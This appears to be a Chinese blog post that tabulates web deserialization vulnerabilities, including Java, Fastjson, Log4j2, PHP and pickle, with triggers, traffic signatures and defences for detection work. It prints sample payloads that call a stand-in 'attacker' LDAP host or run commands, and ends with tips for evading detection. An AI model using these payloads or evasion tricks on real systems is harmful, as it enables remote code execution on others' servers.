反序列化攻击简要汇总
反序列化攻击简要汇总
Web 反序列化漏洞汇总对比表
| 漏洞类型 | 技术原理 | 关键触发点 | 流量特征 | 防御关键 |
|---|---|---|---|---|
| Java 原生反序列化 | 调用 ObjectInputStream.readObject() 时,恶意序列化数据触发 Gadget Chain(如 InvokerTransformer→Runtime.exec()) |
readObject() 反序列化入口 |
HEX头: AC ED 00 05Base64头: rO0AB内容特征: java/ 包路径、危险方法名(getOutputProperties) |
启用 ObjectInputFilter 类白名单 |
| Shiro-550/721 | RememberMe Cookie AES解密 → 解压缩 → ObjectInputStream.readObject()• 550:硬编码密钥 • 721:Padding Oracle 爆破密钥 |
AbstractRememberMeManager#convertBytesToPrincipals() |
HTTP Cookie: rememberMe=Base64(AES密文)解密后: rO0AB 开头 + CommonsCollections 链特征 |
更换强密钥 + 禁用压缩 + 过滤 PriorityQueue 等危险类 |
| WebLogic T3 | T3 协议传输 原生序列化对象,服务端反序列化触发漏洞(如 Coherence 组件的 LimitFilter#toString() 链) |
weblogic.rjvm.InboundMsgAbbrev#readObject() |
协议头: t3 12.2.1\x0D\x0A载荷: AC ED 00 05 + com/tangosol/util/filter/LimitFilter 等类名 |
关闭 T3 协议 + 升级 Coherence 补丁 |
| WebLogic XMLDecoder | wls-wsat 组件使用 XMLDecoder 解析 SOAP,XML 标签直接映射 Java 方法执行(如 <void method="start">) |
XMLDecoder.readObject() |
HTTP POST: SOAP 信封内嵌 <java>...<ProcessBuilder><command>calc.exe</command></ProcessBuilder> |
删除 wls-wsat 应用 + 禁用 XMLDecoder |
| Fastjson ≤1.2.24 | @type 指定任意类 → 自动调用 setter/getter → 触发链(如 JdbcRowSetImpl#setDataSourceName() 发起 JNDI 注入) |
DefaultJSONParser#parseObject() |
JSON: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://attacker/exp"} |
关闭 autotype + 升级 ≥1.2.25 |
| Jackson CVE-2017-7525 | 开启 enableDefaultTyping() 时,@class 实例化危险类(如 org.apache.xalan.templates.TemplateImpl 加载字节码) |
ObjectMapper.readValue() |
JSON: {"@class":"org.apache.xalan.templates.TemplateImpl", "_bytecodes":["base64恶意类"]} |
禁用多态绑定 + 配置 PolymorphicTypeValidator |
| XStream ≤1.4.15 | XML 标签名 → 反射实例化类 → 调用危险方法(如 EventHandler#invoke() 触发命令执行) |
XStream.fromXML() |
XML: <java.util.PriorityQueue><comparator><dynamic-proxy><interface>java.lang.Comparable</interface>... |
注册 SecurityFramework 白名单 |
| Log4j2 JNDI注入 | 非反序列化!漏洞原理:${jndi:ldap://attacker} 触发 JNDI 查找 → 返回 Reference → 加载远程 Factory 类执行代码 |
lookup() 方法动态加载类 |
日志内容: ${jndi:ldap://1.2.3.4/x}后续流量: • LDAP 请求 → 返回 Reference• HTTP 下载 Exploit.class |
升级 ≥2.17.0 + 移除 JndiLookup 类 |
| PHP反序列化 | unserialize() 触发魔术方法(如 __destruct())→ 执行链(如 Monolog 的 Processor#__call() 调用 file_put_contents 写 Webshell) |
unserialize($_POST['data']) |
POST: data=O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":...} |
禁用 unserialize() + 过滤 __destruct |
| Python pickle | pickle.loads() 执行 __reduce__ 返回的 字节码(如利用 os.system() 执行命令) |
pickle.loads(request.data) |
载荷: c__builtin__\neval\n(V__import__('os').system('whoami')\ntR. |
替换为 json 序列化 |
| .NET ViewState | 未签名或弱密钥的 ViewState → LosFormatter 反序列化触发 ObjectStateFormatter 链(如 TextFormattingRunProperties 触发代码执行) |
Page.LoadPageStateFromPersistenceMedium() |
POST: __VIEWSTATE=Base64密文特征: 00 00 01 头 + ObjectStateFormatter 标识 |
启用 ViewState MAC 签名验证 |
| Ruby Marshal | Marshal.load() 重建对象 → 触发 #initialize 或 #marshal_load 方法中的危险操作(如 ActiveRecord 反序列化链) |
Marshal.load(params[:data]) |
载荷: \x04\x08[...] 开头 + 包含类名(如 ActiveRecord::Base) |
避免处理用户输入的 Marshal 数据 |
核心攻击协议与特征速查
| 攻击类型 | 依赖协议 | 关键特征 |
|---|---|---|
| JNDI 注入 | LDAP/RMI/DNS/HTTP | • 出向 LDAP/RMI 请求(端口 1389/1099) • 入向 HTTP 下载 .class 文件 |
| 原生序列化 | 任意 TCP/HTTP | AC ED 00 05 / rO0AB + Java 类名特征 |
| T3 协议 | T3 (TCP 7001) | 固定头 t3 x.x.x\x0D\x0A + 后续含序列化数据(HEX值以AC ED 00 05开头) |
| XML 反序列化 | HTTP/SOAP | <java>, <void method="start">, ProcessBuilder 等标签 |
| JSON 反序列化 | HTTP/JSON | @type (Fastjson), @class (Jackson) + 危险类名(如 TemplatesImpl) |
深度解析补充
-
JNDI 在 Java 反序列化中的作用
-
桥梁角色:将漏洞触发拆解为两阶段:
序列化漏洞入口 → JNDI Lookup → 远程加载恶意类 -
绕过优势:
- 避免在序列化数据中携带完整攻击代码
- 动态更换攻击载荷(无需重发序列化数据)
-
依赖协议:
graph LR A[受害服务器] -->|1. JNDI 请求| B(LDAP/RMI Server) B -->|2. 返回 Reference| A A -->|3. HTTP 请求| C(恶意 HTTP Server) C -->|4. 发送 .class| A
-
-
跨语言反序列化本质差异
语言 核心机制 直接执行指令 Java 利用库中 Gadget Chain 调用 RCE ❌(需复杂链) PHP 魔术方法(如 __destruct)✅ Python __reduce__返回系统命令✅ .NET ObjectStateFormatter链❌(需链) -
高级绕过技术
- Java 序列化混淆:修改魔术头(如
ED AC 05 00)、添加无效字节 - JNDI 规避:使用 DNS 协议探测、HTTPS 托管 Class、利用本地 ClassPath 中的链
- PHP/Python 编码:Base64/Hex 编码载荷、嵌套多层序列化结构
- Java 序列化混淆:修改魔术头(如

浙公网安备 33010602011771号